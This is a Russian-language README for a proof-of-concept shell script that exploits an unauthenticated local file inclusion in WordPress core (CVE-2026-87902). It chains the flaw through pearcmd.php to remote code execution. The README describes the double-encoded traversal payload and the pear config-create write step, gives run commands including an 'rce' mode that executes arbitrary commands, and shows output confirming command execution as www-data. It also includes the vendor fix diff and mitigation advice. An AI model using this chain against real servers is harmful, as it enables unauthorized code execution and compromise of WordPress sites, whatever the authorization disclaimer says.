Shell PoC для CVE-2026-87902 — неаутентифицированный LFI в ядре WordPress через разрешение page-template, который цепочкой приводит к RCE через pearcmd.php.
| Компонент | Ядро WordPress (wp-includes/template.php) |
| Тип | CWE-98 — включение PHP-файлов (LFI → RCE) |
| Затронуто | WordPress < 7.1.2 (ветка 7.0 исправлена в 7.0.6; бэкпорты для 6.x зависят от ветки) |
| Исправлено | 7.1.2 / 7.0.6 |
| CVE | CVE-2026-87902 — CVSS 3.1 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| PoC | poc.sh |
get_page_template() добавляет page-{urldecode(pagename)}.php в иерархию шаблонов страниц, когда
переменная запроса pagename содержит percent-encoded символы, а locate_template()
разрешает кандидата через file_exists() / require, не проверяя, что путь остаётся
внутри активной темы. Таким образом, неаутентифицированный атакующий может включить и выполнить выбранный
доступный для чтения локальный .php-файл за пределами активной темы.
Предусловия:
< 7.1.2.page- (например, официальная
Twenty Fourteen поставляется с page-templates/). Имя шаблона всегда имеет префикс page-,
поэтому первый компонент пути должен существовать.Полезная нагрузка двойным образом закодирована так, что sanitize_title_for_query() сохраняет октеты %2e/%2f;
urldecode() внутри get_page_template() затем восстанавливает ../ во время разрешения шаблона.
Если на сервере также есть доступный pearcmd.php и register_argc_argv = On (значение по умолчанию в
официальном образе PHP), цепочка эскалируется до удалённого выполнения кода: строка запроса
становится CLI argv через разделители +, pear config-create записывает контролируемый атакующим .php-
файл, и тот же LFI включает его.
# Interactive menu (recommended for a quick start)
./poc.sh
# 1) Detect the LFI (read-only)
./poc.sh check --target https://example.com
# 2) Detect the LFI and test the RCE preconditions (self-deleting payload)
./poc.sh check-rce --target https://example.com --authorized
# 3) Execute a command through the chain (self-deleting payload)
./poc.sh rce --target https://example.com --authorized --cmd "id;hostname"
Опции: --page-id N, --ups N, --pearcmd PATH, --timeout N. --authorized (или
VDP_AUTHORIZED=1) требуется для любого режима, который может выполнять запись, когда цель не localhost.
check)== CVE-2026-87902 PoC (check) ==
target: https://example.com
[1] Discovering a public page ID
[info] page_id: 17
[info] baseline: POST /?page_id=17 -> 52377 bytes
[2] Testing the LFI (read-only include of wp-includes/version.php)
[PASS] VULNERABLE: included wp-includes/version.php from outside the theme (0-byte body vs 52377-byte page)
[info] theme directory: page-templates/ traversal depth to webroot: 4
[info] second file confirmed: wp-admin/install.php executed (static string returned)
== RESULT: VULNERABLE to CVE-2026-87902 (LFI confirmed) ==
check-rce / rce)[3] Testing the LFI-to-RCE chain (self-deleting payload)
[PASS] pearcmd.php executed via the LFI (usr/local/lib/php/pearcmd, root depth 7)
[PASS] RCE CONFIRMED: command output returned (uid/gid present)
[info] payload self-deleted (cleanup verified)
[4] Executing command: id;hostname;whoami
> uid=33(www-data) gid=33(www-data) groups=33(www-data)
> 4119cb19757f
> www-data
Если LFI подтверждён, но PEAR отсутствует (или register_argc_argv выключен), скрипт сообщает
о предусловии явно и завершается ничего не записывая (exit 3).
page-* и глубины обхода — запросить
page-<dir>/../../…/wp-includes/version.php через параметр pagename
(POST, пустое тело — обязательно, поскольку WordPress сначала выполняет канонический редирект для GET/HEAD).200 с телом 0 байт (в отличие от базовой страницы в несколько КБ) доказывает включение.pear config-create через LFI с самоудаляющейся полезной нагрузкой, затем
включить записанный файл с командой, переданной в запросе.Исправление вендора в 7.1.2 (wp-includes/template.php):
- if ( $pagename_decoded !== $pagename ) {
+ if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
плюс проверка вхождения через realpath() в locate_template()
(_wp_is_template_path_allowed()). wordpress-7.0.6 содержит побайтово идентичное исправление.
pagename, содержащие последовательности обхода (.., %2e%2e,
%252e%252e), для всех HTTP-методов, или устраните предусловие наличия каталога темы page-*.Только для авторизованного тестирования безопасности. Режимы RCE используют самоудаляющуюся полезную нагрузку и никогда не записывают ничего, кроме собственного временного файла-маркера, но они всё равно выполняют команды на цели — запускайте их только там, где у вас есть явное разрешение.